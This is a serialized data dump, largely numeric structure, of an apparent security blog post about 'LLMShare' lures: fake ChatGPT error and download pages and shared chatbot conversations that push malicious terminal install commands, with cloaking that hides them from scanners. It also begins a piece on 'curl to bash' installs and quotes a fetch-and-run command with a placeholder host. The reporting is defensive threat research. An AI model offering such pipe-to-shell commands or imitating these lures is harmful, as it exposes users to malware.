"content":23856,"nodeType":860},{},[23857],{"data":23858,"marks":23859,"value":6940,"nodeType":864},{},[],{"data":23861,"content":23862,"nodeType":1005},{},[],{"data":23864,"content":23865,"nodeType":1009},{},[23866],{"data":23867,"marks":23868,"value":6951,"nodeType":864},{},[23869],{"type":899},{"data":23871,"content":23872,"nodeType":860},{},[23873],{"data":23874,"marks":23875,"value":6958,"nodeType":864},{},[],{"data":23877,"content":23878,"nodeType":1312},{},[23879],{"data":23880,"marks":23881,"value":6965,"nodeType":864},{},[],{"data":23883,"content":23884,"nodeType":860},{},[23885,23888,23894,23897,23903,23906,23912],{"data":23886,"marks":23887,"value":6972,"nodeType":864},{},[],{"data":23889,"content":23890,"nodeType":883},{"uri":6975},[23891],{"data":23892,"marks":23893,"value":6980,"nodeType":864},{},[],{"data":23895,"marks":23896,"value":6984,"nodeType":864},{},[],{"data":23898,"content":23899,"nodeType":883},{"uri":6987},[23900],{"data":23901,"marks":23902,"value":6992,"nodeType":864},{},[],{"data":23904,"marks":23905,"value":6996,"nodeType":864},{},[],{"data":23907,"content":23908,"nodeType":883},{"uri":6999},[23909],{"data":23910,"marks":23911,"value":7004,"nodeType":864},{},[],{"data":23913,"marks":23914,"value":7008,"nodeType":864},{},[],{"data":23916,"content":23917,"nodeType":1312},{},[23918],{"data":23919,"marks":23920,"value":7015,"nodeType":864},{},[],{"data":23922,"content":23923,"nodeType":860},{},[23924,23927,23933,23936,23942],{"data":23925,"marks":23926,"value":7022,"nodeType":864},{},[],{"data":23928,"content":23929,"nodeType":883},{"uri":7025},[23930],{"data":23931,"marks":23932,"value":7030,"nodeType":864},{},[],{"data":23934,"marks":23935,"value":7034,"nodeType":864},{},[],{"data":23937,"content":23938,"nodeType":883},{"uri":7037},[23939],{"data":23940,"marks":23941,"value":7042,"nodeType":864},{},[],{"data":23943,"marks":23944,"value":7046,"nodeType":864},{},[],{"data":23946,"content":23947,"nodeType":1312},{},[23948],{"data":23949,"marks":23950,"value":7053,"nodeType":864},{},[],{"data":23952,"content":23953,"nodeType":860},{},[23954,23957,23963,23966,23972,23975,23981],{"data":23955,"marks":23956,"value":7060,"nodeType":864},{},[],{"data":23958,"content":23959,"nodeType":883},{"uri":7063},[23960],{"data":23961,"marks":23962,"value":7068,"nodeType":864},{},[],{"data":23964,"marks":23965,"value":7072,"nodeType":864},{},[],{"data":23967,"content":23968,"nodeType":883},{"uri":7075},[23969],{"data":23970,"marks":23971,"value":7080,"nodeType":864},{},[],{"data":23973,"marks":23974,"value":7084,"nodeType":864},{},[],{"data":23976,"content":23977,"nodeType":883},{"uri":7087},[23978],{"data":23979,"marks":23980,"value":7092,"nodeType":864},{},[],{"data":23982,"marks":23983,"value":7096,"nodeType":864},{},[],{"data":23985,"content":23986,"nodeType":860},{},[23987],{"data":23988,"marks":23989,"value":7103,"nodeType":864},{},[],{"data":23991,"content":23992,"nodeType":1005},{},[],{"data":23994,"content":23995,"nodeType":1009},{},[23996],{"data":23997,"marks":23998,"value":7114,"nodeType":864},{},[23999],{"type":899},{"data":24001,"content":24002,"nodeType":860},{},[24003,24006,24012],{"data":24004,"marks":24005,"value":7121,"nodeType":864},{},[],{"data":24007,"content":24008,"nodeType":883},{"uri":7124},[24009],{"data":24010,"marks":24011,"value":7129,"nodeType":864},{},[],{"data":24013,"marks":24014,"value":7133,"nodeType":864},{},[],{"data":24016,"content":24017,"nodeType":860},{},[24018],{"data":24019,"marks":24020,"value":7140,"nodeType":864},{},[],{"data":24022,"content":24023,"nodeType":1312},{},[24024],{"data":24025,"marks":24026,"value":7148,"nodeType":864},{},[24027],{"type":899},{"data":24029,"content":24030,"nodeType":860},{},[24031,24034,24038],{"data":24032,"marks":24033,"value":7155,"nodeType":864},{},[],{"data":24035,"marks":24036,"value":1555,"nodeType":864},{},[24037],{"type":899},{"data":24039,"marks":24040,"value":7163,"nodeType":864},{},[],{"data":24042,"content":24043,"nodeType":860},{},[24044],{"data":24045,"marks":24046,"value":7170,"nodeType":864},{},[],{"data":24048,"content":24049,"nodeType":860},{},[24050,24053,24059],{"data":24051,"marks":24052,"value":7177,"nodeType":864},{},[],{"data":24054,"content":24055,"nodeType":883},{"uri":7180},[24056],{"data":24057,"marks":24058,"value":7185,"nodeType":864},{},[],{"data":24060,"marks":24061,"value":7189,"nodeType":864},{},[],{"data":24063,"content":24064,"nodeType":860},{},[24065],{"data":24066,"marks":24067,"value":7196,"nodeType":864},{},[],{"data":24069,"content":24070,"nodeType":1005},{},[],{"data":24072,"content":24073,"nodeType":860},{},[24074],{"data":24075,"marks":24076,"value":1682,"nodeType":864},{},[],{"data":24078,"content":24079,"nodeType":860},{},[24080],{"data":24081,"marks":24082,"value":1689,"nodeType":864},{},[],{"data":24084,"content":24085,"nodeType":860},{},[24086,24089,24096],{"data":24087,"marks":24088,"value":21,"nodeType":864},{},[],{"data":24090,"content":24091,"nodeType":883},{"uri":5642},[24092],{"data":24093,"marks":24094,"value":1703,"nodeType":864},{},[24095],{"type":1455},{"data":24097,"marks":24098,"value":21,"nodeType":864},{},[],{"data":24100,"content":24101,"nodeType":1005},{},[],{"data":24103,"content":24104,"nodeType":1009},{},[24105],{"data":24106,"marks":24107,"value":7238,"nodeType":864},{},[24108],{"type":899},{"data":24110,"content":24111,"nodeType":860},{},[24112,24115,24121],{"data":24113,"marks":24114,"value":7245,"nodeType":864},{},[],{"data":24116,"content":24117,"nodeType":883},{"uri":7248},[24118],{"data":24119,"marks":24120,"value":7253,"nodeType":864},{},[],{"data":24122,"marks":24123,"value":7257,"nodeType":864},{},[],{"data":24125,"content":24126,"nodeType":860},{},[24127],{"data":24128,"marks":24129,"value":7264,"nodeType":864},{},[],{"data":24131,"content":24132,"nodeType":4845},{},[24133,24156,24177,24198,24219],{"data":24134,"content":24135,"nodeType":4581},{},[24136,24146],{"data":24137,"content":24138,"nodeType":7282},{},[24139],{"data":24140,"content":24141,"nodeType":860},{},[24142],{"data":24143,"marks":24144,"value":7281,"nodeType":864},{},[24145],{"type":899},{"data":24147,"content":24148,"nodeType":7282},{},[24149],{"data":24150,"content":24151,"nodeType":860},{},[24152],{"data":24153,"marks":24154,"value":7293,"nodeType":864},{},[24155],{"type":899},{"data":24157,"content":24158,"nodeType":4581},{},[24159,24168],{"data":24160,"content":24161,"nodeType":4569},{},[24162],{"data":24163,"content":24164,"nodeType":860},{},[24165],{"data":24166,"marks":24167,"value":7306,"nodeType":864},{},[],{"data":24169,"content":24170,"nodeType":4569},{},[24171],{"data":24172,"content":24173,"nodeType":860},{},[24174],{"data":24175,"marks":24176,"value":7316,"nodeType":864},{},[],{"data":24178,"content":24179,"nodeType":4581},{},[24180,24189],{"data":24181,"content":24182,"nodeType":4569},{},[24183],{"data":24184,"content":24185,"nodeType":860},{},[24186],{"data":24187,"marks":24188,"value":7329,"nodeType":864},{},[],{"data":24190,"content":24191,"nodeType":4569},{},[24192],{"data":24193,"content":24194,"nodeType":860},{},[24195],{"data":24196,"marks":24197,"value":7316,"nodeType":864},{},[],{"data":24199,"content":24200,"nodeType":4581},{},[24201,24210],{"data":24202,"content":24203,"nodeType":4569},{},[24204],{"data":24205,"content":24206,"nodeType":860},{},[24207],{"data":24208,"marks":24209,"value":7351,"nodeType":864},{},[],{"data":24211,"content":24212,"nodeType":4569},{},[24213],{"data":24214,"content":24215,"nodeType":860},{},[24216],{"data":24217,"marks":24218,"value":7361,"nodeType":864},{},[],{"data":24220,"content":24221,"nodeType":4581},{},[24222,24231],{"data":24223,"content":24224,"nodeType":4569},{},[24225],{"data":24226,"content":24227,"nodeType":860},{},[24228],{"data":24229,"marks":24230,"value":7374,"nodeType":864},{},[],{"data":24232,"content":24233,"nodeType":4569},{},[24234],{"data":24235,"content":24236,"nodeType":860},{},[24237],{"data":24238,"marks":24239,"value":7384,"nodeType":864},{},[],{"data":24241,"content":24242,"nodeType":860},{},[24243],{"data":24244,"marks":24245,"value":21,"nodeType":864},{},[],{"entries":24247},{"hyperlink":24248,"inline":24249,"block":24250},[],[],[24251,24255,24280,24285,24292,24299,24305,24313,24320,24323],{"sys":24252,"__typename":1724,"title":24253,"caption":59,"layoutMode":59,"file":24254},{"id":6664},"LLMShare pages side by side",{"url":8759,"width":1736,"height":5709},{"sys":24256,"__typename":1740,"content":24257,"name":24279,"title":59},{"id":6670},{"json":24258},{"nodeType":856,"data":24259,"content":24260},{},[24261],{"nodeType":860,"data":24262,"content":24263},{},[24264,24268,24275],{"nodeType":864,"value":24265,"marks":24266,"data":24267},"These are essentially InstallFix attacks — a variant of the ClickFix family that ",[],{},{"nodeType":883,"data":24269,"content":24270},{"uri":6024},[24271],{"nodeType":864,"value":24272,"marks":24273,"data":24274},"Push documented earlier this year",[],{},{"nodeType":864,"value":24276,"marks":24277,"data":24278}," — and they exploit the fact that AI tools have normalized command-line installation workflows for a population of users who lack the experience to distinguish a legitimate terminal command from a malicious one. ",[],{},"LLMShare IB1",{"sys":24281,"__typename":1724,"title":24282,"caption":24283,"layoutMode":59,"file":24284},{"id":6722},"LLMShare error page","The fake \"high traffic\" page rendered inside a ChatGPT shared content URL. Note the \"Show code\" and \"Remix with ChatGPT\" buttons at the top, which reveal that this is actually rendered HTML/CSS code rather than a real ChatGPT system page.",{"url":21236,"width":1736,"height":21237},{"sys":24286,"__typename":1724,"title":24287,"caption":24288,"layoutMode":59,"file":24289},{"id":6742},"LLMShare panel showing source code","The same page with the code panel open, showing the HTML/CSS source code that generates the fake service disruption notice.",{"url":24290,"width":1736,"height":24291},"https://images.ctfassets.net/y1cdw1ablpvd/22IO2J68rUGy5ZzEAGfFIh/ff98ca14ed74de0c35e5154c43aa1524/image7.png",1128,{"sys":24293,"__typename":1724,"title":24294,"caption":24295,"layoutMode":59,"file":24296},{"id":6766},"LLMShare page with download panel","The fake ChatGPT download page hosted at openew[.]app. The design closely replicates OpenAI's legitimate download page.",{"url":24297,"width":1736,"height":24298},"https://images.ctfassets.net/y1cdw1ablpvd/4woFKeexapLYHfpKfCzEbo/8b7fc45a933af8fea5f6bce97823e123/image2.png",1210,{"sys":24300,"__typename":1724,"title":24301,"caption":24302,"layoutMode":59,"file":24303},{"id":6772},"Real ChatGPT download page for comparison at chatgpt.com/download.","Real ChatGPT download page for comparison chatgpt.com/download.",{"url":24304,"width":1736,"height":15552},"https://images.ctfassets.net/y1cdw1ablpvd/3hHpXRmxJyRPs4y1SQbHMM/67e33342db5ecb1e3928bb8e1a56749a/image5.png",{"sys":24306,"__typename":1724,"title":24307,"caption":24308,"layoutMode":59,"file":24309},{"id":6810},"Alternative LLMShare page for bot visitors","What URLScan sees when visiting the same openew[.]app URL: a generic \"Openew\" AR/VR company website with no trace of the ChatGPT impersonation.",{"url":24310,"width":24311,"height":24312},"https://images.ctfassets.net/y1cdw1ablpvd/apMKHaMjDF9GmoCO1gVHT/c25938faf56bb96b467469209470e40c/image1.png",1600,1200,{"sys":24314,"__typename":1724,"title":24315,"caption":24315,"layoutMode":59,"file":24316},{"id":6845},"A shared Claude.ai conversation containing malicious installation instructions in the style previously reported by BleepingComputer.",{"url":24317,"width":24318,"height":24319},"https://images.ctfassets.net/y1cdw1ablpvd/2YLf3kEK2y2XjdyM1Q9uRT/6b5774de9708ff8544889305a094d991/image6.png",1920,945,{"sys":24321,"__typename":1724,"title":8749,"caption":8750,"layoutMode":59,"file":24322},{"id":6883},{"url":8752,"width":8753,"height":8754},{"sys":24324,"__typename":1740,"content":24325,"name":24359,"title":59},{"id":6889},{"json":24326},{"nodeType":856,"data":24327,"content":24328},{},[24329,24340],{"nodeType":860,"data":24330,"content":24331},{},[24332,24336],{"nodeType":864,"value":24333,"marks":24334,"data":24335},"Although we managed to grab that example, the ads haven't been easy to reproduce.",[],{},{"nodeType":864,"value":24337,"marks":24338,"data":24339}," This is because the ads are likely geographically or temporally scoped. It’s pretty eye-opening (and creepy) how tightly scoped these kinds of sponsored ads can be across different platforms. ",[],{},{"nodeType":860,"data":24341,"content":24342},{},[24343,24347,24355],{"nodeType":864,"value":24344,"marks":24345,"data":24346},"This is one of the key misconceptions people can have about this kind of attack. It’s easy to see it as untargeted, when realistically it can be scoped tightly to a desired victim population by role, geography, and so on. We’ve written about this previously in ",[],{},{"nodeType":883,"data":24348,"content":24349},{"uri":12872},[24350],{"nodeType":864,"value":24351,"marks":24352,"data":24354},"our blog",[24353],{"type":1455},{},{"nodeType":864,"value":24356,"marks":24357,"data":24358}," on the ad account takeover > malvertising ecosystem. ",[],{},"LLMShare IB2",{"items":24361},[],{},"LLMShare: using shared chatbot pages to distribute malware",{"items":24365},[24366,25087,26111],{"__typename":2059,"sys":24367,"content":24368,"title":6584,"synopsis":6585,"hashTags":59,"publishedDate":6586,"slug":6587,"tagsCollection":25077,"authorsCollection":25083},{"id":5746},{"json":24369},{"data":24370,"content":24371,"nodeType":856},{},[24372,24387,24402,24417,24422,24425,24432,24438,24444,24450,24456,24463,24466,24473,24479,24485,24491,24496,24503,24518,24524,24530,24543,24550,24574,24587,24593,24617,24624,24648,24654,24661,24676,24682,24688,24693,24699,24706,24721,24727,24743,24749,24752,24759,24765,24840,24846,24859,24862,24887,24902,24908,24914,24917,24924,24939,24945,24951,24966,24969,24976,24982,25012,25018,25033,25048,25053,25056,25062],{"data":24373,"content":24374,"nodeType":860},{},[24375,24378,24384],{"data":24376,"marks":24377,"value":5757,"nodeType":864},{},[],{"data":24379,"content":24380,"nodeType":883},{"uri":5760},[24381],{"data":24382,"marks":24383,"value":5765,"nodeType":864},{},[],{"data":24385,"marks":24386,"value":5769,"nodeType":864},{},[],{"data":24388,"content":24389,"nodeType":860},{},[24390,24393,24399],{"data":24391,"marks":24392,"value":5776,"nodeType":864},{},[],{"data":24394,"content":24395,"nodeType":883},{"uri":5779},[24396],{"data":24397,"marks":24398,"value":5784,"nodeType":864},{},[],{"data":24400,"marks":24401,"value":5788,"nodeType":864},{},[],{"data":24403,"content":24404,"nodeType":860},{},[24405,24408,24414],{"data":24406,"marks":24407,"value":5795,"nodeType":864},{},[],{"data":24409,"content":24410,"nodeType":883},{"uri":5243},[24411],{"data":24412,"marks":24413,"value":5248,"nodeType":864},{},[],{"data":24415,"marks":24416,"value":5805,"nodeType":864},{},[],{"data":24418,"content":24421,"nodeType":996},{"target":24419},{"sys":24420},{"id":5810,"type":1001,"linkType":1002},[],{"data":24423,"content":24424,"nodeType":1005},{},[],{"data":24426,"content":24427,"nodeType":1009},{},[24428],{"data":24429,"marks":24430,"value":5822,"nodeType":864},{},[24431],{"type":899},{"data":24433,"content":24434,"nodeType":860},{},[24435],{"data":24436,"marks":24437,"value":5829,"nodeType":864},{},[],{"data":24439,"content":24440,"nodeType":860},{},[24441],{"data":24442,"marks":24443,"value":5836,"nodeType":864},{},[],{"data":24445,"content":24446,"nodeType":860},{},[24447],{"data":24448,"marks":24449,"value":5843,"nodeType":864},{},[],{"data":24451,"content":24452,"nodeType":860},{},[24453],{"data":24454,"marks":24455,"value":5850,"nodeType":864},{},[],{"data":24457,"content":24458,"nodeType":860},{},[24459],{"data":24460,"marks":24461,"value":5858,"nodeType":864},{},[24462],{"type":899},{"data":24464,"content":24465,"nodeType":1005},{},[],{"data":24467,"content":24468,"nodeType":1009},{},[24469],{"data":24470,"marks":24471,"value":5869,"nodeType":864},{},[24472],{"type":899},{"data":24474,"content":24475,"nodeType":860},{},[24476],{"data":24477,"marks":24478,"value":5876,"nodeType":864},{},[],{"data":24480,"content":24481,"nodeType":860},{},[24482],{"data":24483,"marks":24484,"value":5883,"nodeType":864},{},[],{"data":24486,"content":24487,"nodeType":860},{},[24488],{"data":24489,"marks":24490,"value":5890,"nodeType":864},{},[],{"data":24492,"content":24495,"nodeType":996},{"target":24493},{"sys":24494},{"id":5895,"type":1001,"linkType":1002},[],{"data":24497,"content":24498,"nodeType":1312},{},[24499],{"data":24500,"marks":24501,"value":5904,"nodeType":864},{},[24502],{"type":899},{"data":24504,"content":24505,"nodeType":860},{},[24506,24509,24515],{"data":24507,"marks":24508,"value":5911,"nodeType":864},{},[],{"data":24510,"content":24511,"nodeType":883},{"uri":5914},[24512],{"data":24513,"marks":24514,"value":5919,"nodeType":864},{},[],{"data":24516,"marks":24517,"value":5923,"nodeType":864},{},[],{"data":24519,"content":24520,"nodeType":860},{},[24521],{"data":24522,"marks":24523,"value":5930,"nodeType":864},{},[],{"data":24525,"content":24526,"nodeType":860},{},[24527],{"data":24528,"marks":24529,"value":5937,"nodeType":864},{},[],{"data":24531,"content":24532,"nodeType":860},{},[24533,24536,24540],{"data":24534,"marks":24535,"value":5944,"nodeType":864},{},[],{"data":24537,"marks":24538,"value":5949,"nodeType":864},{},[24539],{"type":899},{"data":24541,"marks":24542,"value":5953,"nodeType":864},{},[],{"data":24544,"content":24545,"nodeType":1312},{},[24546],{"data":24547,"marks":24548,"value":5961,"nodeType":864},{},[24549],{"type":899},{"data":24551,"content":24552,"nodeType":860},{},[24553,24556,24562,24565,24571],{"data":24554,"marks":24555,"value":5968,"nodeType":864},{},[],{"data":24557,"content":24558,"nodeType":883},{"uri":5971},[24559],{"data":24560,"marks":24561,"value":5976,"nodeType":864},{},[],{"data":24563,"marks":24564,"value":5980,"nodeType":864},{},[],{"data":24566,"content":24567,"nodeType":883},{"uri":3237},[24568],{"data":24569,"marks":24570,"value":5987,"nodeType":864},{},[],{"data":24572,"marks":24573,"value":5991,"nodeType":864},{},[],{"data":24575,"content":24576,"nodeType":860},{},[24577,24580,24584],{"data":24578,"marks":24579,"value":5998,"nodeType":864},{},[],{"data":24581,"marks":24582,"value":6003,"nodeType":864},{},[24583],{"type":899},{"data":24585,"marks":24586,"value":6007,"nodeType":864},{},[],{"data":24588,"content":24589,"nodeType":860},{},[24590],{"data":24591,"marks":24592,"value":6014,"nodeType":864},{},[],{"data":24594,"content":24595,"nodeType":860},{},[24596,24599,24605,24608,24614],{"data":24597,"marks":24598,"value":6021,"nodeType":864},{},[],{"data":24600,"content":24601,"nodeType":883},{"uri":6024},[24602],{"data":24603,"marks":24604,"value":6029,"nodeType":864},{},[],{"data":24606,"marks":24607,"value":6033,"nodeType":864},{},[],{"data":24609,"content":24610,"nodeType":883},{"uri":6036},[24611],{"data":24612,"marks":24613,"value":6041,"nodeType":864},{},[],{"data":24615,"marks":24616,"value":6045,"nodeType":864},{},[],{"data":24618,"content":24619,"nodeType":1312},{},[24620],{"data":24621,"marks":24622,"value":6053,"nodeType":864},{},[24623],{"type":899},{"data":24625,"content":24626,"nodeType":860},{},[24627,24630,24636,24639,24645],{"data":24628,"marks":24629,"value":6060,"nodeType":864},{},[],{"data":24631,"content":24632,"nodeType":883},{"uri":6063},[24633],{"data":24634,"marks":24635,"value":6068,"nodeType":864},{},[],{"data":24637,"marks":24638,"value":6072,"nodeType":864},{},[],{"data":24640,"content":24641,"nodeType":883},{"uri":6075},[24642],{"data":24643,"marks":24644,"value":6080,"nodeType":864},{},[],{"data":24646,"marks":24647,"value":6084,"nodeType":864},{},[],{"data":24649,"content":24650,"nodeType":860},{},[24651],{"data":24652,"marks":24653,"value":6091,"nodeType":864},{},[],{"data":24655,"content":24656,"nodeType":1312},{},[24657],{"data":24658,"marks":24659,"value":6099,"nodeType":864},{},[24660],{"type":899},{"data":24662,"content":24663,"nodeType":860},{},[24664,24667,24673],{"data":24665,"marks":24666,"value":6106,"nodeType":864},{},[],{"data":24668,"content":24669,"nodeType":883},{"uri":3259},[24670],{"data":24671,"marks":24672,"value":6113,"nodeType":864},{},[],{"data":24674,"marks":24675,"value":6117,"nodeType":864},{},[],{"data":24677,"content":24678,"nodeType":860},{},[24679],{"data":24680,"marks":24681,"value":6124,"nodeType":864},{},[],{"data":24683,"content":24684,"nodeType":860},{},[24685],{"data":24686,"marks":24687,"value":6131,"nodeType":864},{},[],{"data":24689,"content":24692,"nodeType":996},{"target":24690},{"sys":24691},{"id":6136,"type":1001,"linkType":1002},[],{"data":24694,"content":24695,"nodeType":860},{},[24696],{"data":24697,"marks":24698,"value":6144,"nodeType":864},{},[],{"data":24700,"content":24701,"nodeType":1312},{},[24702],{"data":24703,"marks":24704,"value":6152,"nodeType":864},{},[24705],{"type":899},{"data":24707,"content":24708,"nodeType":860},{},[24709,24712,24718],{"data":24710,"marks":24711,"value":6159,"nodeType":864},{},[],{"data":24713,"content":24714,"nodeType":883},{"uri":2411},[24715],{"data":24716,"marks":24717,"value":6166,"nodeType":864},{},[],{"data":24719,"marks":24720,"value":6170,"nodeType":864},{},[],{"data":24722,"content":24723,"nodeType":860},{},[24724],{"data":24725,"marks":24726,"value":6177,"nodeType":864},{},[],{"data":24728,"content":24729,"nodeType":860},{},[24730,24733,24740],{"data":24731,"marks":24732,"value":6184,"nodeType":864},{},[],{"data":24734,"content":24735,"nodeType":883},{"uri":2411},[24736],{"data":24737,"marks":24738,"value":6192,"nodeType":864},{},[24739],{"type":1455},{"data":24741,"marks":24742,"value":6196,"nodeType":864},{},[],{"data":24744,"content":24745,"nodeType":860},{},[24746],{"data":24747,"marks":24748,"value":6203,"nodeType":864},{},[],{"data":24750,"content":24751,"nodeType":1005},{},[],{"data":24753,"content":24754,"nodeType":1009},{},[24755],{"data":24756,"marks":24757,"value":6214,"nodeType":864},{},[24758],{"type":899},{"data":24760,"content":24761,"nodeType":860},{},[24762],{"data":24763,"marks":24764,"value":6221,"nodeType":864},{},[],{"data":24766,"content":24767,"nodeType":941},{},[24768,24786,24804,24822],{"data":24769,"content":24770,"nodeType":945},{},[24771],{"data":24772,"content":24773,"nodeType":860},{},[24774,24777,24783],{"data":24775,"marks":24776,"value":6234,"nodeType":864},{},[],{"data":24778,"content":24779,"nodeType":883},{"uri":6237},[24780],{"data":24781,"marks":24782,"value":6242,"nodeType":864},{},[],{"data":24784,"marks":24785,"value":6246,"nodeType":864},{},[],{"data":24787,"content":24788,"nodeType":945},{},[24789],{"data":24790,"content":24791,"nodeType":860},{},[24792,24795,24801],{"data":24793,"marks":24794,"value":6256,"nodeType":864},{},[],{"data":24796,"content":24797,"nodeType":883},{"uri":6259},[24798],{"data":24799,"marks":24800,"value":6264,"nodeType":864},{},[],{"data":24802,"marks":24803,"value":6268,"nodeType":864},{},[],{"data":24805,"content":24806,"nodeType":945},{},[24807],{"data":24808,"content":24809,"nodeType":860},{},[24810,24813,24819],{"data":24811,"marks":24812,"value":6234,"nodeType":864},{},[],{"data":24814,"content":24815,"nodeType":883},{"uri":6036},[24816],{"data":24817,"marks":24818,"value":6284,"nodeType":864},{},[],{"data":24820,"marks":24821,"value":6288,"nodeType":864},{},[],{"data":24823,"content":24824,"nodeType":945},{},[24825],{"data":24826,"content":24827,"nodeType":860},{},[24828,24831,24837],{"data":24829,"marks":24830,"value":2761,"nodeType":864},{},[],{"data":24832,"content":24833,"nodeType":883},{"uri":6300},[24834],{"data":24835,"marks":24836,"value":3756,"nodeType":864},{},[],{"data":24838,"marks":24839,"value":6308,"nodeType":864},{},[],{"data":24841,"content":24842,"nodeType":860},{},[24843],{"data":24844,"marks":24845,"value":6315,"nodeType":864},{},[],{"data":24847,"content":24848,"nodeType":860},{},[24849,24852,24856],{"data":24850,"marks":24851,"value":6322,"nodeType":864},{},[],{"data":24853,"marks":24854,"value":6327,"nodeType":864},{},[24855],{"type":899},{"data":24857,"marks":24858,"value":6331,"nodeType":864},{},[],{"data":24860,"content":24861,"nodeType":1005},{},[],{"data":24863,"content":24864,"nodeType":1009},{},[24865,24869,24874,24878,24883],{"data":24866,"marks":24867,"value":6342,"nodeType":864},{},[24868],{"type":899},{"data":24870,"marks":24871,"value":6348,"nodeType":864},{},[24872,24873],{"type":2246},{"type":899},{"data":24875,"marks":24876,"value":6353,"nodeType":864},{},[24877],{"type":899},{"data":24879,"marks":24880,"value":6359,"nodeType":864},{},[24881,24882],{"type":2246},{"type":899},{"data":24884,"marks":24885,"value":6364,"nodeType":864},{},[24886],{"type":899},{"data":24888,"content":24889,"nodeType":860},{},[24890,24893,24899],{"data":24891,"marks":24892,"value":6371,"nodeType":864},{},[],{"data":24894,"content":24895,"nodeType":883},{"uri":6374},[24896],{"data":24897,"marks":24898,"value":6379,"nodeType":864},{},[],{"data":24900,"marks":24901,"value":6383,"nodeType":864},{},[],{"data":24903,"content":24904,"nodeType":860},{},[24905],{"data":24906,"marks":24907,"value":6390,"nodeType":864},{},[],{"data":24909,"content":24910,"nodeType":860},{},[24911],{"data":24912,"marks":24913,"value":6397,"nodeType":864},{},[],{"data":24915,"content":24916,"nodeType":1005},{},[],{"data":24918,"content":24919,"nodeType":1009},{},[24920],{"data":24921,"marks":24922,"value":6408,"nodeType":864},{},[24923],{"type":899},{"data":24925,"content":24926,"nodeType":860},{},[24927,24930,24936],{"data":24928,"marks":24929,"value":6415,"nodeType":864},{},[],{"data":24931,"content":24932,"nodeType":883},{"uri":6418},[24933],{"data":24934,"marks":24935,"value":6423,"nodeType":864},{},[],{"data":24937,"marks":24938,"value":6427,"nodeType":864},{},[],{"data":24940,"content":24941,"nodeType":860},{},[24942],{"data":24943,"marks":24944,"value":6434,"nodeType":864},{},[],{"data":24946,"content":24947,"nodeType":860},{},[24948],{"data":24949,"marks":24950,"value":6441,"nodeType":864},{},[],{"data":24952,"content":24953,"nodeType":860},{},[24954,24957,24963],{"data":24955,"marks":24956,"value":6448,"nodeType":864},{},[],{"data":24958,"content":24959,"nodeType":883},{"uri":6451},[24960],{"data":24961,"marks":24962,"value":6423,"nodeType":864},{},[],{"data":24964,"marks":24965,"value":2924,"nodeType":864},{},[],{"data":24967,"content":24968,"nodeType":1005},{},[],{"data":24970,"content":24971,"nodeType":1009},{},[24972],{"data":24973,"marks":24974,"value":6469,"nodeType":864},{},[24975],{"type":899},{"data":24977,"content":24978,"nodeType":860},{},[24979],{"data":24980,"marks":24981,"value":6476,"nodeType":864},{},[],{"data":24983,"content":24984,"nodeType":941},{},[24985,24994,25003],{"data":24986,"content":24987,"nodeType":945},{},[24988],{"data":24989,"content":24990,"nodeType":860},{},[24991],{"data":24992,"marks":24993,"value":6489,"nodeType":864},{},[],{"data":24995,"content":24996,"nodeType":945},{},[24997],{"data":24998,"content":24999,"nodeType":860},{},[25000],{"data":25001,"marks":25002,"value":6499,"nodeType":864},{},[],{"data":25004,"content":25005,"nodeType":945},{},[25006],{"data":25007,"content":25008,"nodeType":860},{},[25009],{"data":25010,"marks":25011,"value":6509,"nodeType":864},{},[],{"data":25013,"content":25014,"nodeType":860},{},[25015],{"data":25016,"marks":25017,"value":6516,"nodeType":864},{},[],{"data":25019,"content":25020,"nodeType":860},{},[25021,25024,25030],{"data":25022,"marks":25023,"value":6523,"nodeType":864},{},[],{"data":25025,"content":25026,"nodeType":883},{"uri":5243},[25027],{"data":25028,"marks":25029,"value":6530,"nodeType":864},{},[],{"data":25031,"marks":25032,"value":2924,"nodeType":864},{},[],{"data":25034,"content":25035,"nodeType":860},{},[25036,25039,25045],{"data":25037,"marks":25038,"value":6540,"nodeType":864},{},[],{"data":25040,"content":25041,"nodeType":883},{"uri":6543},[25042],{"data":25043,"marks":25044,"value":6548,"nodeType":864},{},[],{"data":25046,"marks":25047,"value":6552,"nodeType":864},{},[],{"data":25049,"content":25052,"nodeType":996},{"target":25050},{"sys":25051},{"id":6557,"type":1001,"linkType":1002},[],{"data":25054,"content":25055,"nodeType":1005},{},[],{"data":25057,"content":25058,"nodeType":860},{},[25059],{"data":25060,"marks":25061,"value":6568,"nodeType":864},{},[],{"data":25063,"content":25064,"nodeType":860},{},[25065,25068,25074],{"data":25066,"marks":25067,"value":2707,"nodeType":864},{},[],{"data":25069,"content":25070,"nodeType":883},{"uri":1700},[25071],{"data":25072,"marks":25073,"value":2715,"nodeType":864},{},[],{"data":25075,"marks":25076,"value":2719,"nodeType":864},{},[],{"items":25078},[25079,25081],{"sys":25080,"name":6593},{"id":6592},{"sys":25082,"name":342},{"id":6596},{"items":25084},[25085],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":25086},{"url":2740},{"__typename":2059,"sys":25088,"content":25089,"title":26093,"synopsis":26094,"hashTags":59,"publishedDate":26095,"slug":26096,"tagsCollection":26097,"authorsCollection":26103},{"id":18395},{"json":25090},{"data":25091,"content":25092,"nodeType":856},{},[25093,25099,25106,25113,25121,25136,25142,25145,25153,25160,25167,25174,25181,25188,25195,25202,25209,25215,25221,25228,25234,25241,25248,25254,25260,25266,25272,25291,25303,25310,25316,25323,25330,25363,25370,25378,25385,25391,25398,25404,25411,25429,25436,25439,25447,25454,25549,25556,25562,25565,25573,25580,25587,25594,25637,25640,25647,25663,25670,25678,25888,25896,25929,25937,25946,25952,25960,25967,25975,25986,25994,26000,26008,26019,26027,26035,26043,26051,26059,26067,26078,26085],{"data":25094,"content":25098,"nodeType":996},{"target":25095},{"sys":25096},{"id":25097,"type":1001,"linkType":1002},"38JCcRQe2tN9ooHGwreoF5",[],{"data":25100,"content":25101,"nodeType":860},{},[25102],{"data":25103,"marks":25104,"value":25105,"nodeType":864},{},[],"There was a time, not that long ago, when pasting a command from a website straight into your terminal was something you’d only try once before some grizzled senior engineer beat it out of you. That’s because you’re effectively handing a website a blank cheque to execute whatever it wants on your system.",{"data":25107,"content":25108,"nodeType":860},{},[25109],{"data":25110,"marks":25111,"value":25112,"nodeType":864},{},[],"But somehow, it’s now the default. Homebrew, Rust, nvm, Bun, oh-my-zsh and hundreds of the most widely used developer tools on the planet now ship with the same instructions. Copy a “curl to bash” ( curl https://some.website | bash) one-liner from a website, paste it into your terminal, and hit enter. The entire security model boils down to \"trust the domain.\" And with AI adoption encouraging more non-technical users to work with the kind of tools that only devs used to use, this suddenly becomes a threat to a much larger, less security conscious pool of 